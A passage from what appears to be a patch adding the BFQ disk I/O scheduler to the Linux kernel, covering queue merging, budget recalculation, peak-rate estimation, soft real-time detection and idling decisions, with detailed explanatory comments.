++	if (bfq_bio_sync(bio) && !rq_is_sync(rq))
++		return 0;
++
++	/*
++	 * Lookup the bfqq that this bio will be queued with. Allow
++	 * merge only if rq is queued there.
++	 * Queue lock is held here.
++	 */
++	bic = bfq_bic_lookup(bfqd, current->io_context);
++	if (bic == NULL)
++		return 0;
++
++	bfqq = bic_to_bfqq(bic, bfq_bio_sync(bio));
++	return bfqq == RQ_BFQQ(rq);
++}
++
++static void __bfq_set_in_service_queue(struct bfq_data *bfqd,
++				       struct bfq_queue *bfqq)
++{
++	if (bfqq != NULL) {
++		bfq_mark_bfqq_must_alloc(bfqq);
++		bfq_mark_bfqq_budget_new(bfqq);
++		bfq_clear_bfqq_fifo_expire(bfqq);
++
++		bfqd->budgets_assigned = (bfqd->budgets_assigned*7 + 256) / 8;
++
++		bfq_log_bfqq(bfqd, bfqq,
++			     "set_in_service_queue, cur-budget = %lu",
++			     bfqq->entity.budget);
++	}
++
++	bfqd->in_service_queue = bfqq;
++}
++
++/*
++ * Get and set a new queue for service.
++ */
++static struct bfq_queue *bfq_set_in_service_queue(struct bfq_data *bfqd,
++						  struct bfq_queue *bfqq)
++{
++	if (!bfqq)
++		bfqq = bfq_get_next_queue(bfqd);
++	else
++		bfq_get_next_queue_forced(bfqd, bfqq);
++
++	__bfq_set_in_service_queue(bfqd, bfqq);
++	return bfqq;
++}
++
++static inline sector_t bfq_dist_from_last(struct bfq_data *bfqd,
++					  struct request *rq)
++{
++	if (blk_rq_pos(rq) >= bfqd->last_position)
++		return blk_rq_pos(rq) - bfqd->last_position;
++	else
++		return bfqd->last_position - blk_rq_pos(rq);
++}
++
++/*
++ * Return true if bfqq has no request pending and rq is close enough to
++ * bfqd->last_position, or if rq is closer to bfqd->last_position than
++ * bfqq->next_rq
++ */
++static inline int bfq_rq_close(struct bfq_data *bfqd, struct request *rq)
++{
++	return bfq_dist_from_last(bfqd, rq) <= BFQQ_SEEK_THR;
++}
++
++static struct bfq_queue *bfqq_close(struct bfq_data *bfqd)
++{
++	struct rb_root *root = &bfqd->rq_pos_tree;
++	struct rb_node *parent, *node;
++	struct bfq_queue *__bfqq;
++	sector_t sector = bfqd->last_position;
++
++	if (RB_EMPTY_ROOT(root))
++		return NULL;
++
++	/*
++	 * First, if we find a request starting at the end of the last
++	 * request, choose it.
++	 */
++	__bfqq = bfq_rq_pos_tree_lookup(bfqd, root, sector, &parent, NULL);
++	if (__bfqq != NULL)
++		return __bfqq;
++
++	/*
++	 * If the exact sector wasn't found, the parent of the NULL leaf
++	 * will contain the closest sector (rq_pos_tree sorted by next_request
++	 * position).
++	 */
++	__bfqq = rb_entry(parent, struct bfq_queue, pos_node);
++	if (bfq_rq_close(bfqd, __bfqq->next_rq))
++		return __bfqq;
++
++	if (blk_rq_pos(__bfqq->next_rq) < sector)
++		node = rb_next(&__bfqq->pos_node);
++	else
++		node = rb_prev(&__bfqq->pos_node);
++	if (node == NULL)
++		return NULL;
++
++	__bfqq = rb_entry(node, struct bfq_queue, pos_node);
++	if (bfq_rq_close(bfqd, __bfqq->next_rq))
++		return __bfqq;
++
++	return NULL;
++}
++
++/*
++ * bfqd - obvious
++ * cur_bfqq - passed in so that we don't decide that the current queue
++ *            is closely cooperating with itself.
++ *
++ * We are assuming that cur_bfqq has dispatched at least one request,
++ * and that bfqd->last_position reflects a position on the disk associated
++ * with the I/O issued by cur_bfqq.
++ */
++static struct bfq_queue *bfq_close_cooperator(struct bfq_data *bfqd,
++					      struct bfq_queue *cur_bfqq)
++{
++	struct bfq_queue *bfqq;
++
++	if (bfq_class_idle(cur_bfqq))
++		return NULL;
++	if (!bfq_bfqq_sync(cur_bfqq))
++		return NULL;
++	if (BFQQ_SEEKY(cur_bfqq))
++		return NULL;
++
++	/* If device has only one backlogged bfq_queue, don't search. */
++	if (bfqd->busy_queues == 1)
++		return NULL;
++
++	/*
++	 * We should notice if some of the queues are cooperating, e.g.
++	 * working closely on the same area of the disk. In that case,
++	 * we can group them together and don't waste time idling.
++	 */
++	bfqq = bfqq_close(bfqd);
++	if (bfqq == NULL || bfqq == cur_bfqq)
++		return NULL;
++
++	/*
++	 * Do not merge queues from different bfq_groups.
++	*/
++	if (bfqq->entity.parent != cur_bfqq->entity.parent)
++		return NULL;
++
++	/*
++	 * It only makes sense to merge sync queues.
++	 */
++	if (!bfq_bfqq_sync(bfqq))
++		return NULL;
++	if (BFQQ_SEEKY(bfqq))
++		return NULL;
++
++	/*
++	 * Do not merge queues of different priority classes.
++	 */
++	if (bfq_class_rt(bfqq) != bfq_class_rt(cur_bfqq))
++		return NULL;
++
++	return bfqq;
++}
++
++/*
++ * If enough samples have been computed, return the current max budget
++ * stored in bfqd, which is dynamically updated according to the
++ * estimated disk peak rate; otherwise return the default max budget
++ */
++static inline unsigned long bfq_max_budget(struct bfq_data *bfqd)
++{
++	if (bfqd->budgets_assigned < 194)
++		return bfq_default_max_budget;
++	else
++		return bfqd->bfq_max_budget;
++}
++
++/*
++ * Return min budget, which is a fraction of the current or default
++ * max budget (trying with 1/32)
++ */
++static inline unsigned long bfq_min_budget(struct bfq_data *bfqd)
++{
++	if (bfqd->budgets_assigned < 194)
++		return bfq_default_max_budget / 32;
++	else
++		return bfqd->bfq_max_budget / 32;
++}
++
++/*
++ * Decides whether idling should be done for given device and
++ * given in-service queue.
++ */
++static inline bool bfq_queue_nonrot_noidle(struct bfq_data *bfqd,
++					   struct bfq_queue *in_service_bfqq)
++{
++	if (in_service_bfqq == NULL)
++		return false;
++	/*
++	 * If device is SSD it has no seek penalty, disable idling; but
++	 * do so only if:
++	 * - device does not support queuing, otherwise we still have
++	 *   a problem with sync vs async workloads;
++	 * - the queue is not weight-raised, to preserve guarantees.
++	 */
++	return (blk_queue_nonrot(bfqd->queue) && bfqd->hw_tag &&
++		in_service_bfqq->raising_coeff == 1);
++}
++
++static void bfq_arm_slice_timer(struct bfq_data *bfqd)
++{
++	struct bfq_queue *bfqq = bfqd->in_service_queue;
++	struct bfq_io_cq *bic;
++	unsigned long sl;
++
++	WARN_ON(!RB_EMPTY_ROOT(&bfqq->sort_list));
++
++	/* Tasks have exited, don't wait. */
++	bic = bfqd->in_service_bic;
++	if (bic == NULL || atomic_read(&bic->icq.ioc->active_ref) == 0)
++		return;
++
++	bfq_mark_bfqq_wait_request(bfqq);
++
++	/*
++	 * We don't want to idle for seeks, but we do want to allow
++	 * fair distribution of slice time for a process doing back-to-back
++	 * seeks. So allow a little bit of time for him to submit a new rq.
++	 *
++	 * To prevent processes with (partly) seeky workloads from
++	 * being too ill-treated, grant them a small fraction of the
++	 * assigned budget before reducing the waiting time to
++	 * BFQ_MIN_TT. This happened to help reduce latency.
++	 */
++	sl = bfqd->bfq_slice_idle;
++	if (bfq_sample_valid(bfqq->seek_samples) && BFQQ_SEEKY(bfqq) &&
++	    bfqq->entity.service > bfq_max_budget(bfqd) / 8 &&
++	    bfqq->raising_coeff == 1)
++		sl = min(sl, msecs_to_jiffies(BFQ_MIN_TT));
++	else if (bfqq->raising_coeff > 1)
++		sl = sl * 3;
++	bfqd->last_idling_start = ktime_get();
++	mod_timer(&bfqd->idle_slice_timer, jiffies + sl);
++	bfq_log(bfqd, "arm idle: %u/%u ms",
++		jiffies_to_msecs(sl), jiffies_to_msecs(bfqd->bfq_slice_idle));
++}
++
++/*
++ * Set the maximum time for the in-service queue to consume its
++ * budget. This prevents seeky processes from lowering the disk
++ * throughput (always guaranteed with a time slice scheme as in CFQ).
++ */
++static void bfq_set_budget_timeout(struct bfq_data *bfqd)
++{
++	struct bfq_queue *bfqq = bfqd->in_service_queue;
++	unsigned int timeout_coeff;
++	if (bfqq->raising_cur_max_time == bfqd->bfq_raising_rt_max_time)
++		timeout_coeff = 1;
++	else
++		timeout_coeff = bfqq->entity.weight / bfqq->entity.orig_weight;
++
++	bfqd->last_budget_start = ktime_get();
++
++	bfq_clear_bfqq_budget_new(bfqq);
++	bfqq->budget_timeout = jiffies +
++		bfqd->bfq_timeout[bfq_bfqq_sync(bfqq)] * timeout_coeff;
++
++	bfq_log_bfqq(bfqd, bfqq, "set budget_timeout %u",
++		jiffies_to_msecs(bfqd->bfq_timeout[bfq_bfqq_sync(bfqq)] *
++		timeout_coeff));
++}
++
++/*
++ * Move request from internal lists to the request queue dispatch list.
++ */
++static void bfq_dispatch_insert(struct request_queue *q, struct request *rq)
++{
++	struct bfq_data *bfqd = q->elevator->elevator_data;
++	struct bfq_queue *bfqq = RQ_BFQQ(rq);
++
++	bfq_remove_request(rq);
++	bfqq->dispatched++;
++	elv_dispatch_sort(q, rq);
++
++	if (bfq_bfqq_sync(bfqq))
++		bfqd->sync_flight++;
++}
++
++/*
++ * Return expired entry, or NULL to just start from scratch in rbtree.
++ */
++static struct request *bfq_check_fifo(struct bfq_queue *bfqq)
++{
++	struct request *rq = NULL;
++
++	if (bfq_bfqq_fifo_expire(bfqq))
++		return NULL;
++
++	bfq_mark_bfqq_fifo_expire(bfqq);
++
++	if (list_empty(&bfqq->fifo))
++		return NULL;
++
++	rq = rq_entry_fifo(bfqq->fifo.next);
++
++	if (time_before(jiffies, rq_fifo_time(rq)))
++		return NULL;
++
++	return rq;
++}
++
++/*
++ * Must be called with the queue_lock held.
++ */
++static int bfqq_process_refs(struct bfq_queue *bfqq)
++{
++	int process_refs, io_refs;
++
++	io_refs = bfqq->allocated[READ] + bfqq->allocated[WRITE];
++	process_refs = atomic_read(&bfqq->ref) - io_refs - bfqq->entity.on_st;
++	BUG_ON(process_refs < 0);
++	return process_refs;
++}
++
++static void bfq_setup_merge(struct bfq_queue *bfqq, struct bfq_queue *new_bfqq)
++{
++	int process_refs, new_process_refs;
++	struct bfq_queue *__bfqq;
++
++	/*
++	 * If there are no process references on the new_bfqq, then it is
++	 * unsafe to follow the ->new_bfqq chain as other bfqq's in the chain
++	 * may have dropped their last reference (not just their last process
++	 * reference).
++	 */
++	if (!bfqq_process_refs(new_bfqq))
++		return;
++
++	/* Avoid a circular list and skip interim queue merges. */
++	while ((__bfqq = new_bfqq->new_bfqq)) {
++		if (__bfqq == bfqq)
++			return;
++		new_bfqq = __bfqq;
++	}
++
++	process_refs = bfqq_process_refs(bfqq);
++	new_process_refs = bfqq_process_refs(new_bfqq);
++	/*
++	 * If the process for the bfqq has gone away, there is no
++	 * sense in merging the queues.
++	 */
++	if (process_refs == 0 || new_process_refs == 0)
++		return;
++
++	/*
++	 * Merge in the direction of the lesser amount of work.
++	 */
++	if (new_process_refs >= process_refs) {
++		bfqq->new_bfqq = new_bfqq;
++		atomic_add(process_refs, &new_bfqq->ref);
++	} else {
++		new_bfqq->new_bfqq = bfqq;
++		atomic_add(new_process_refs, &bfqq->ref);
++	}
++	bfq_log_bfqq(bfqq->bfqd, bfqq, "scheduling merge with queue %d",
++		new_bfqq->pid);
++}
++
++static inline unsigned long bfq_bfqq_budget_left(struct bfq_queue *bfqq)
++{
++	struct bfq_entity *entity = &bfqq->entity;
++	return entity->budget - entity->service;
++}
++
++static void __bfq_bfqq_expire(struct bfq_data *bfqd, struct bfq_queue *bfqq)
++{
++	BUG_ON(bfqq != bfqd->in_service_queue);
++
++	__bfq_bfqd_reset_in_service(bfqd);
++
++	/*
++	 * If this bfqq is shared between multiple processes, check
++	 * to make sure that those processes are still issuing I/Os
++	 * within the mean seek distance. If not, it may be time to
++	 * break the queues apart again.
++	 */
++	if (bfq_bfqq_coop(bfqq) && BFQQ_SEEKY(bfqq))
++		bfq_mark_bfqq_split_coop(bfqq);
++
++	if (RB_EMPTY_ROOT(&bfqq->sort_list)) {
++		/*
++		 * overloading budget_timeout field to store when
++		 * the queue remains with no backlog, used by
++		 * the weight-raising mechanism
++		 */
++		bfqq->budget_timeout = jiffies;
++		bfq_del_bfqq_busy(bfqd, bfqq, 1);
++	} else {
++		bfq_activate_bfqq(bfqd, bfqq);
++		/*
++		 * Resort priority tree of potential close cooperators.
++		 */
++		bfq_rq_pos_tree_add(bfqd, bfqq);
++	}
++}
++
++/**
++ * __bfq_bfqq_recalc_budget - try to adapt the budget to the @bfqq behavior.
++ * @bfqd: device data.
++ * @bfqq: queue to update.
++ * @reason: reason for expiration.
++ *
++ * Handle the feedback on @bfqq budget.  See the body for detailed
++ * comments.
++ */
++static void __bfq_bfqq_recalc_budget(struct bfq_data *bfqd,
++				     struct bfq_queue *bfqq,
++				     enum bfqq_expiration reason)
++{
++	struct request *next_rq;
++	unsigned long budget, min_budget;
++
++	budget = bfqq->max_budget;
++	min_budget = bfq_min_budget(bfqd);
++
++	BUG_ON(bfqq != bfqd->in_service_queue);
++
++	bfq_log_bfqq(bfqd, bfqq, "recalc_budg: last budg %lu, budg left %lu",
++		bfqq->entity.budget, bfq_bfqq_budget_left(bfqq));
++	bfq_log_bfqq(bfqd, bfqq, "recalc_budg: last max_budg %lu, min budg %lu",
++		budget, bfq_min_budget(bfqd));
++	bfq_log_bfqq(bfqd, bfqq, "recalc_budg: sync %d, seeky %d",
++		bfq_bfqq_sync(bfqq), BFQQ_SEEKY(bfqd->in_service_queue));
++
++	if (bfq_bfqq_sync(bfqq)) {
++		switch (reason) {
++		/*
++		 * Caveat: in all the following cases we trade latency
++		 * for throughput.
++		 */
++		case BFQ_BFQQ_TOO_IDLE:
++			/*
++			 * This is the only case where we may reduce
++			 * the budget: if there is no requets of the
++			 * process still waiting for completion, then
++			 * we assume (tentatively) that the timer has
++			 * expired because the batch of requests of
++			 * the process could have been served with a
++			 * smaller budget.  Hence, betting that
++			 * process will behave in the same way when it
++			 * becomes backlogged again, we reduce its
++			 * next budget.  As long as we guess right,
++			 * this budget cut reduces the latency
++			 * experienced by the process.
++			 *
++			 * However, if there are still outstanding
++			 * requests, then the process may have not yet
++			 * issued its next request just because it is
++			 * still waiting for the completion of some of
++			 * the still oustanding ones.  So in this
++			 * subcase we do not reduce its budget, on the
++			 * contrary we increase it to possibly boost
++			 * the throughput, as discussed in the
++			 * comments to the BUDGET_TIMEOUT case.
++			 */
++			if (bfqq->dispatched > 0) /* still oustanding reqs */
++				budget = min(budget * 2, bfqd->bfq_max_budget);
++			else {
++				if (budget > 5 * min_budget)
++					budget -= 4 * min_budget;
++				else
++					budget = min_budget;
++			}
++			break;
++		case BFQ_BFQQ_BUDGET_TIMEOUT:
++			/*
++			 * We double the budget here because: 1) it
++			 * gives the chance to boost the throughput if
++			 * this is not a seeky process (which may have
++			 * bumped into this timeout because of, e.g.,
++			 * ZBR), 2) together with charge_full_budget
++			 * it helps give seeky processes higher
++			 * timestamps, and hence be served less
++			 * frequently.
++			 */
++			budget = min(budget * 2, bfqd->bfq_max_budget);
++			break;
++		case BFQ_BFQQ_BUDGET_EXHAUSTED:
++			/*
++			 * The process still has backlog, and did not
++			 * let either the budget timeout or the disk
++			 * idling timeout expire. Hence it is not
++			 * seeky, has a short thinktime and may be
++			 * happy with a higher budget too. So
++			 * definitely increase the budget of this good
++			 * candidate to boost the disk throughput.
++			 */
++			budget = min(budget * 4, bfqd->bfq_max_budget);
++			break;
++		case BFQ_BFQQ_NO_MORE_REQUESTS:
++		       /*
++			* Leave the budget unchanged.
++			*/
++		default:
++			return;
++		}
++	} else /* async queue */
++	    /* async queues get always the maximum possible budget
++	     * (their ability to dispatch is limited by
++	     * @bfqd->bfq_max_budget_async_rq).
++	     */
++		budget = bfqd->bfq_max_budget;
++
++	bfqq->max_budget = budget;
++
++	if (bfqd->budgets_assigned >= 194 && bfqd->bfq_user_max_budget == 0 &&
++	    bfqq->max_budget > bfqd->bfq_max_budget)
++		bfqq->max_budget = bfqd->bfq_max_budget;
++
++	/*
++	 * Make sure that we have enough budget for the next request.
++	 * Since the finish time of the bfqq must be kept in sync with
++	 * the budget, be sure to call __bfq_bfqq_expire() after the
++	 * update.
++	 */
++	next_rq = bfqq->next_rq;
++	if (next_rq != NULL)
++		bfqq->entity.budget = max_t(unsigned long, bfqq->max_budget,
++					    bfq_serv_to_charge(next_rq, bfqq));
++	else
++		bfqq->entity.budget = bfqq->max_budget;
++
++	bfq_log_bfqq(bfqd, bfqq, "head sect: %u, new budget %lu",
++			next_rq != NULL ? blk_rq_sectors(next_rq) : 0,
++			bfqq->entity.budget);
++}
++
++static unsigned long bfq_calc_max_budget(u64 peak_rate, u64 timeout)
++{
++	unsigned long max_budget;
++
++	/*
++	 * The max_budget calculated when autotuning is equal to the
++	 * amount of sectors transfered in timeout_sync at the
++	 * estimated peak rate.
++	 */
++	max_budget = (unsigned long)(peak_rate * 1000 *
++				     timeout >> BFQ_RATE_SHIFT);
++
++	return max_budget;
++}
++
++/*
++ * In addition to updating the peak rate, checks whether the process
++ * is "slow", and returns 1 if so. This slow flag is used, in addition
++ * to the budget timeout, to reduce the amount of service provided to
++ * seeky processes, and hence reduce their chances to lower the
++ * throughput. See the code for more details.
++ */
++static int bfq_update_peak_rate(struct bfq_data *bfqd, struct bfq_queue *bfqq,
++				int compensate, enum bfqq_expiration reason)
++{
++	u64 bw, usecs, expected, timeout;
++	ktime_t delta;
++	int update = 0;
++
++	if (!bfq_bfqq_sync(bfqq) || bfq_bfqq_budget_new(bfqq))
++		return 0;
++
++	if (compensate)
++		delta = bfqd->last_idling_start;
++	else
++		delta = ktime_get();
++	delta = ktime_sub(delta, bfqd->last_budget_start);
++	usecs = ktime_to_us(delta);
++
++	/* Don't trust short/unrealistic values. */
++	if (usecs < 100 || usecs >= LONG_MAX)
++		return 0;
++
++	/*
++	 * Calculate the bandwidth for the last slice.  We use a 64 bit
++	 * value to store the peak rate, in sectors per usec in fixed
++	 * point math.  We do so to have enough precision in the estimate
++	 * and to avoid overflows.
++	 */
++	bw = (u64)bfqq->entity.service << BFQ_RATE_SHIFT;
++	do_div(bw, (unsigned long)usecs);
++
++	timeout = jiffies_to_msecs(bfqd->bfq_timeout[BLK_RW_SYNC]);
++
++	/*
++	 * Use only long (> 20ms) intervals to filter out spikes for
++	 * the peak rate estimation.
++	 */
++	if (usecs > 20000) {
++		if (bw > bfqd->peak_rate ||
++		   (!BFQQ_SEEKY(bfqq) &&
++		    reason == BFQ_BFQQ_BUDGET_TIMEOUT)) {
++			bfq_log(bfqd, "measured bw =%llu", bw);
++			/*
++			 * To smooth oscillations use a low-pass filter with
++			 * alpha=7/8, i.e.,
++			 * new_rate = (7/8) * old_rate + (1/8) * bw
++			 */
++			do_div(bw, 8);
++			if (bw == 0)
++				return 0;
++			bfqd->peak_rate *= 7;
++			do_div(bfqd->peak_rate, 8);
++			bfqd->peak_rate += bw;
++			update = 1;
++			bfq_log(bfqd, "new peak_rate=%llu", bfqd->peak_rate);
++		}
++
++		update |= bfqd->peak_rate_samples == BFQ_PEAK_RATE_SAMPLES - 1;
++
++		if (bfqd->peak_rate_samples < BFQ_PEAK_RATE_SAMPLES)
++			bfqd->peak_rate_samples++;
++
++		if (bfqd->peak_rate_samples == BFQ_PEAK_RATE_SAMPLES &&
++		    update && bfqd->bfq_user_max_budget == 0) {
++			bfqd->bfq_max_budget =
++				bfq_calc_max_budget(bfqd->peak_rate, timeout);
++			bfq_log(bfqd, "new max_budget=%lu",
++				bfqd->bfq_max_budget);
++		}
++	}
++
++	/*
++	 * If the process has been served for a too short time
++	 * interval to let its possible sequential accesses prevail on
++	 * the initial seek time needed to move the disk head on the
++	 * first sector it requested, then give the process a chance
++	 * and for the moment return false.
++	 */
++	if (bfqq->entity.budget <= bfq_max_budget(bfqd) / 8)
++		return 0;
++
++	/*
++	 * A process is considered ``slow'' (i.e., seeky, so that we
++	 * cannot treat it fairly in the service domain, as it would
++	 * slow down too much the other processes) if, when a slice
++	 * ends for whatever reason, it has received service at a
++	 * rate that would not be high enough to complete the budget
++	 * before the budget timeout expiration.
++	 */
++	expected = bw * 1000 * timeout >> BFQ_RATE_SHIFT;
++
++	/*
++	 * Caveat: processes doing IO in the slower disk zones will
++	 * tend to be slow(er) even if not seeky. And the estimated
++	 * peak rate will actually be an average over the disk
++	 * surface. Hence, to not be too harsh with unlucky processes,
++	 * we keep a budget/3 margin of safety before declaring a
++	 * process slow.
++	 */
++	return expected > (4 * bfqq->entity.budget) / 3;
++}
++
++/*
++ * To be deemed as soft real-time, an application must meet two requirements.
++ * The first is that the application must not require an average bandwidth
++ * higher than the approximate bandwidth required to playback or record a
++ * compressed high-definition video.
++ * The next function is invoked on the completion of the last request of a
++ * batch, to compute the next-start time instant, soft_rt_next_start, such
++ * that, if the next request of the application does not arrive before
++ * soft_rt_next_start, then the above requirement on the bandwidth is met.
++ *
++ * The second requirement is that the request pattern of the application is
++ * isochronous, i.e., that, after issuing a request or a batch of requests, the
++ * application stops for a while, then issues a new batch, and so on. For this
++ * reason the next function is invoked to compute soft_rt_next_start only for
++ * applications that meet this requirement, whereas soft_rt_next_start is set
++ * to infinity for applications that do not.
++ *
++ * Unfortunately, even a greedy application may happen to behave in an
++ * isochronous way if several processes are competing for the CPUs. In fact,
++ * in this scenario the application stops issuing requests while the CPUs are
++ * busy serving other processes, then restarts, then stops again for a while,
++ * and so on. In addition, if the disk achieves a low enough throughput with
++ * the request pattern issued by the application, then the above bandwidth
++ * requirement may happen to be met too. To prevent such a greedy application
++ * to be deemed as soft real-time, a further rule is used in the computation
++ * of soft_rt_next_start: soft_rt_next_start must be higher than the current
++ * time plus the maximum time for which the arrival of a request is waited
++ * for when a sync queue becomes idle, namely bfqd->bfq_slice_idle. This
++ * filters out greedy applications, as the latter issue instead their next
++ * request as soon as possible after the last one has been completed (in
++ * contrast, when a batch of requests is completed, a soft real-time
++ * application spends some time processing data).
++ *
++ * Actually, the last filter may easily generate false positives if: only
++ * bfqd->bfq_slice_idle is used as a reference time interval, and one or
++ * both the following two cases occur:
++ * 1) HZ is so low that the duration of a jiffie is comparable to or higher
++ *    than bfqd->bfq_slice_idle. This happens, e.g., on slow devices with
++ *    HZ=100.
++ * 2) jiffies, instead of increasing at a constant rate, may stop increasing
++ *    for a while, then suddenly 'jump' by several units to recover the lost
++ *    increments. This seems to happen, e.g., inside virtual machines.
++ * To address this issue, we do not use as a reference time interval just
++ * bfqd->bfq_slice_idle, but bfqd->bfq_slice_idle plus a few jiffies. In
++ * particular we add the minimum number of jiffies for which the filter seems
++ * to be quite precise also in embedded systems and KVM/QEMU virtual machines.
++ */
++static inline u64 bfq_bfqq_softrt_next_start(struct bfq_data *bfqd,
++					     struct bfq_queue *bfqq)
++{
++	return max(bfqq->last_idle_bklogged +
++		   HZ * bfqq->service_from_backlogged /
++		   bfqd->bfq_raising_max_softrt_rate,
++		   (u64)jiffies + bfqq->bfqd->bfq_slice_idle + 4);
++}
++
++/**
++ * bfq_bfqq_expire - expire a queue.
++ * @bfqd: device owning the queue.
++ * @bfqq: the queue to expire.
++ * @compensate: if true, compensate for the time spent idling.
++ * @reason: the reason causing the expiration.
++ *
++ *
++ * If the process associated to the queue is slow (i.e., seeky), or in
++ * case of budget timeout, or, finally, if it is async, we
++ * artificially charge it an entire budget (independently of the
++ * actual service it received). As a consequence, the queue will get
++ * higher timestamps than the correct ones upon reactivation, and
++ * hence it will be rescheduled as if it had received more service
++ * than what it actually received. In the end, this class of processes
++ * will receive less service in proportion to how slowly they consume
++ * their budgets (and hence how seriously they tend to lower the
++ * throughput).
++ *
++ * In contrast, when a queue expires because it has been idling for
++ * too much or because it exhausted its budget, we do not touch the
++ * amount of service it has received. Hence when the queue will be
++ * reactivated and its timestamps updated, the latter will be in sync
++ * with the actual service received by the queue until expiration.
++ *
++ * Charging a full budget to the first type of queues and the exact
++ * service to the others has the effect of using the WF2Q+ policy to
++ * schedule the former on a timeslice basis, without violating the
++ * service domain guarantees of the latter.
++ */
++static void bfq_bfqq_expire(struct bfq_data *bfqd,
++			    struct bfq_queue *bfqq,
++			    int compensate,
++			    enum bfqq_expiration reason)
++{
++	int slow;
++	BUG_ON(bfqq != bfqd->in_service_queue);
++
++	/* Update disk peak rate for autotuning and check whether the
++	 * process is slow (see bfq_update_peak_rate).
++	 */
++	slow = bfq_update_peak_rate(bfqd, bfqq, compensate, reason);
++
++	/*
++	 * As above explained, 'punish' slow (i.e., seeky), timed-out
++	 * and async queues, to favor sequential sync workloads.
++	 *
++	 * Processes doing IO in the slower disk zones will tend to be
++	 * slow(er) even if not seeky. Hence, since the estimated peak
++	 * rate is actually an average over the disk surface, these
++	 * processes may timeout just for bad luck. To avoid punishing
++	 * them we do not charge a full budget to a process that
++	 * succeeded in consuming at least 2/3 of its budget.
++	 */
++	if (slow || (reason == BFQ_BFQQ_BUDGET_TIMEOUT &&
++		     bfq_bfqq_budget_left(bfqq) >=  bfqq->entity.budget / 3))
++		bfq_bfqq_charge_full_budget(bfqq);
++
++	bfqq->service_from_backlogged += bfqq->entity.service;
++
++	if (bfqd->low_latency && bfqq->raising_coeff == 1)
++		bfqq->last_rais_start_finish = jiffies;
++
++	if (bfqd->low_latency && bfqd->bfq_raising_max_softrt_rate > 0) {
++		if (reason != BFQ_BFQQ_BUDGET_TIMEOUT &&
++		    reason != BFQ_BFQQ_BUDGET_EXHAUSTED) {
++			/*
++			 * If we get here, then the request pattern is
++			 * isochronous (see the comments to the function
++			 * bfq_bfqq_softrt_next_start()). However, if the
++			 * queue still has in-flight requests, then it is
++			 * better to postpone the computation of next_start
++			 * to the next request completion. In fact, if we
++			 * computed it now, then the application might pass
++			 * the greedy-application filter improperly, because
++			 * the arrival of its next request may  happen to be
++			 * higher than (jiffies + bfqq->bfqd->bfq_slice_idle)
++			 * not because the application is truly soft real-
++			 * time, but just because the application is currently
++			 * waiting for the completion of some request before
++			 * issuing, as quickly as possible, its next request.
++			 */
++			if (bfqq->dispatched > 0) {
++				bfqq->soft_rt_next_start = -1;
++				bfq_mark_bfqq_softrt_update(bfqq);
++			} else
++				bfqq->soft_rt_next_start =
++					bfq_bfqq_softrt_next_start(bfqd, bfqq);
++		} else
++			bfqq->soft_rt_next_start = -1; /* infinity */
++	}
++
++	bfq_log_bfqq(bfqd, bfqq,
++		"expire (%d, slow %d, num_disp %d, idle_win %d)", reason, slow,
++		bfqq->dispatched, bfq_bfqq_idle_window(bfqq));
++
++	/* Increase, decrease or leave budget unchanged according to reason */
++	__bfq_bfqq_recalc_budget(bfqd, bfqq, reason);
++	__bfq_bfqq_expire(bfqd, bfqq);
++}
++
++/*
++ * Budget timeout is not implemented through a dedicated timer, but
++ * just checked on request arrivals and completions, as well as on
++ * idle timer expirations.
++ */
++static int bfq_bfqq_budget_timeout(struct bfq_queue *bfqq)
++{
++	if (bfq_bfqq_budget_new(bfqq))
++		return 0;
++
++	if (time_before(jiffies, bfqq->budget_timeout))
++		return 0;
++
++	return 1;
++}
++
++/*
++ * If we expire a queue that is waiting for the arrival of a new
++ * request, we may prevent the fictitious timestamp backshifting that
++ * allows the guarantees of the queue to be preserved (see [1] for
++ * this tricky aspect). Hence we return true only if this condition
++ * does not hold, or if the queue is slow enough to deserve only to be
++ * kicked off for preserving a high throughput.
++*/
++static inline int bfq_may_expire_for_budg_timeout(struct bfq_queue *bfqq)
++{
++	bfq_log_bfqq(bfqq->bfqd, bfqq,
++		"may_budget_timeout: wr %d left %d timeout %d",
++		bfq_bfqq_wait_request(bfqq),
++			bfq_bfqq_budget_left(bfqq) >=  bfqq->entity.budget / 3,
++		bfq_bfqq_budget_timeout(bfqq));
++
++	return (!bfq_bfqq_wait_request(bfqq) ||
++		bfq_bfqq_budget_left(bfqq) >=  bfqq->entity.budget / 3)
++		&&
++		bfq_bfqq_budget_timeout(bfqq);
++}
++
++/*
++ * For weight-raised queues issuing sync requests, idling is always performed,
++ * as this is instrumental in guaranteeing a high fraction of the throughput
++ * to these queues, and hence in guaranteeing a lower latency for their
++ * requests. See [1] for details.
++ *
++ * For non-weight-raised queues, idling is instead disabled if the device is
++ * NCQ-enabled and non-rotational, as this boosts the throughput on such
++ * devices.
++ */
++static inline bool bfq_bfqq_must_not_expire(struct bfq_queue *bfqq)
++{
++	struct bfq_data *bfqd = bfqq->bfqd;
++
++	return bfq_bfqq_sync(bfqq) && (
++		bfqq->raising_coeff > 1 ||
++		(bfq_bfqq_idle_window(bfqq) &&
++		 !(bfqd->hw_tag &&
++		   (blk_queue_nonrot(bfqd->queue) ||
++		 /*
++		  * If there are weight-raised busy queues, then do not idle
++		  * the disk for a sync non-weight-raised queue, and hence
++		  * expire the queue immediately if empty. Combined with the
++		  * timestamping rules of BFQ (see [1] for details), this
++		  * causes sync non-weight-raised queues to get a lower
++		  * fraction of the disk throughput, and hence reduces the rate
++		  * at which the processes associated to these queues ask for
++		  * requests from the request pool.
++		  *
++		  * This is beneficial for weight-raised processes, when the
++		  * system operates in request-pool saturation conditions
++		  * (e.g., in the presence of write hogs). In fact, if
++		  * non-weight-raised processes ask for requests at a lower
++		  * rate, then weight-raised processes have a higher
++		  * probability to get a request from the pool immediately
++		  * (or at least soon) when they need one. Hence they have a
++		  * higher probability to actually get a fraction of the disk
++		  * throughput proportional to their high weight. This is
++		  * especially true with NCQ-enabled drives, which enqueue
++		  * several requests in advance and further reorder
++		  * internally-queued requests.
++		  *
++		  * Mistreating non-weight-raised queues in the above-described
++		  * way, when there are busy weight-raised queues, seems to
++		  * mitigate starvation problems in the presence of heavy write
++		  * workloads and NCQ, and hence to guarantee a higher
++		  * application and system responsiveness in these hostile
++		  * scenarios.
++		  */
++		    bfqd->raised_busy_queues > 0)
++		  )
++		)
++	);
++}
++
++/*
++ * If the in-service queue is empty, but it is sync and either of the following
++ * conditions holds, then: 1) the queue must remain in service and cannot be
++ * expired, and 2) the disk must be idled to wait for the possible arrival
++ * of a new request for the queue. The conditions are:
++ * - the device is rotational and not performing NCQ, and the queue has its
++ *   idle window set (in this case, waiting for a new request for the queue
++ *   is likely to boost the disk throughput);
++ * - the queue is weight-raised (waiting for the request is necessary to
